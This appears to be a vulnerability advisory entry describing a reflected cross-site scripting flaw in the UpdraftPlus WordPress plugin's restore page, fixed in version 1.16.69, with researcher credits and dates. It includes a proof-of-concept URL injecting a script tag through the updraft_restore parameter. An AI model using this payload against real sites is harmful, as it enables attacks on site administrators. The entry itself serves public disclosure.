WordPress Plugin Vulnerabilities
UpdraftPlus < 1.16.69 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the updraft_restore parameter before outputting it back in the Restore page, leading to a Reflected Cross-Site Scripting
Proof of Concept
https://example.com/wp-admin/options-general.php?page=updraftplus&job_id&updraft_restore%5B0%5D=%3Cscript%3Ealert%28/XSS/%29%3C%2Fscript%3E&action=updraft_restore&backup_timestamp=123&updraftplus_ajax_restore=start_ajax_restore
Affects Plugins
Fixed in version 1.16.69
References
Classification
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2021-12-28 (about 1 years ago)
Added
2021-12-28 (about 1 years ago)
Last Updated
2022-09-26 (about 4 months ago)